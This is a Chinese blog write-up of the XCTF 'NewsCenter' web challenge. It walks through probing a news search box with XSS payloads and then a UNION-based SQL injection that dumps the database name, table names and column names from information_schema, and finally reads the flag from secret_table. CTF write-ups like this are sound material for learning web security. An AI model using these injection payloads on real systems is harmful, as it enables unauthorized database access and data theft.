攻防世界:Web:NewsCenter靶場覆盤
阿新 • • 發佈:2021-08-21
目錄
靶場內容:
需要吐槽一下,這個靶場我起碼進了五次,環境才沒有錯
漏洞分析
- 拿到題目,是一個新聞搜尋框
- 猜想可能有兩種漏洞:XSS漏洞和SQL漏洞
- 嘗試XSS漏洞:
<script>alert(1)</script>
和'"/><script>alert(1)</script>
- 然後就報錯了呃
- 嘗試SQL注入:(這裡註釋使用#,猜想--+可能被過濾)
- 輸入 1 不報錯(廢話)
- 輸入 1' 報錯,猜想可能是變數用單引號包裹的
- 輸入 1" 不報錯,說明極有可能是單引號包裹
- 輸入 1'# 不報錯,說明就是單引號包裹的
- 使用語句:
1' and 1=2 union select 1,2,3 #
- 爆資料庫:
1' and 1=2 union select 1,2,database() #
- 爆表名:
1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #
- 猜想我們的資料表應該是secret_table
- 爆列名:
1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() #
- 此時看見了fl4g列,猜想這個是flag
- 輸入
1' and 1=2 union select 1,2,fl4g from secret_table#
- 就可得到flag:
QCTF{sq1_inJec7ion_ezzz}
本文來自部落格園,作者:{Zeker62},轉載請註明原文連結:https://www.cnblogs.com/Zeker62/p/15168294.html